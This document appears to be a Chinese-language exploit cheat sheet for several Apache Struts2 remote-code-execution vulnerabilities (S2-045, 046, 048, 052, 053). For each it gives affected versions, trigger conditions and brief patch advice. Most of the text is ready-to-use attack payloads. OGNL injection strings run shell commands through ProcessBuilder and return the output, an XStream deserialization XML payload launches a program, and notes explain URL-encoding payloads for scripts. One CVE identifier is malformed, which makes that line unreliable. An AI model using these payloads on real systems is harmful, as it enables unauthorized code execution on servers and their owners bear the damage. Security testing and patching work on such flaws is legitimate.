#Struts2-045 ''' CVE-2017-5638 影響范圍:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10 觸發條件:基於Jakarta Multipart解析器上傳文件時,可能會導致遠程代碼執行 利用方法:構造Content-type的值 測試POC: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 修復建議: 1. 嚴格過濾 Content-Type 、filename里的內容,嚴禁ognl表達式相關字段。 2. 如果您使用基於Jakarta插件,請升級到最新版本。(強烈推薦) ''' #struts2-046 ''' CVE-2017-5638 影響范圍:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 –Struts 2.5.10 測試POC: Content-Length:10000000 filenname="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}" 服務端返回500 修復建議: 1. 嚴格過濾 Content-Type 、filename里的內容,嚴禁ognl表達式相關字段。 2. 如果您使用基於Jakarta插件,請升級到Apache Struts 2.3.32或2.5.10.1版本。(強烈推薦) ''' #Struts2-048 ''' CVE-2017-979 影響范圍:Struts2 2.3.x 觸發條件:Struts2 2.3.x 系列啟用了struts2-struts1-plugin 插件並且存在 struts2-showcase 目錄 觸發參數:name 測試POC: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 注意:寫腳本時需要將payload進行url編碼(常識) 修復建議: 1、臨時解決方案:通過使用 resourcekeys 替代將原始消息直接傳遞給 ActionMessage 的方式。如下所示: messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName())); 一定不要使用如下的方式 messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”)); 2、無奈解決方案:不啟用struts2-struts1-plugin插件; 3、根本解決方案:建議升級到最新版本 ''' #Struts2-052 ''' CVE-2017-9805 影響范圍:Struts 2.5 – Struts 2.5.12 漏洞描述:問題出現在struts2-rest-plugin插件XStreamHandler處理器中的toObject()方法,其中未對傳入的值進行任何限制,在使用XStream反序列化轉換成對象時,導致任意代碼執行漏洞。 利用條件:需要修改Content-Type: application/xml 測試POC: <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=”com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data”> <dataHandler> <dataSource class=”com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource”> <is class=”javax.crypto.CipherInputStream”> <cipher class=”javax.crypto.NullCipher”> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=”javax.imageio.spi.FilterIterator”> <iter class=”javax.imageio.spi.FilterIterator”> <iter class=”java.util.Collections$EmptyIterator”/> <next class=”java.lang.ProcessBuilder”> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=”javax.imageio.ImageIO$ContainsFilter”> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=”string”>foo</next> </serviceIterator> <lock/> </cipher> <input class=”java.lang.ProcessBuilder$NullInputStream”/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=”../jdk.nashorn.internal.objects.NativeString”/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/> </entry> </map> 修復建議: 1.建議盡快升級到最新版本; 2.在不使用時刪除 Struts REST插件,或僅限於服務器普通頁面和JSONs: <constant name=”struts.action.extension” value=”xhtml,,json” /> ''' #Struts2-053 ''' CVE-2017-12611 影響范圍:Struts2 2.0.1 – Struts2 2.3.33,Struts2 2.5 – Struts2 2.5.10 當開發者在Freemarker標簽中使用如下代碼時<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />Freemarker會將值當做表達式進行執行,最后導致代碼執行。 觸發條件:struts2框架、freemarker標簽中使用錯誤的構造 測試POC: %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))} 注意:寫腳本時需要將payload進行url編碼(常識) 修復建議:建議升級到最新版本 '''
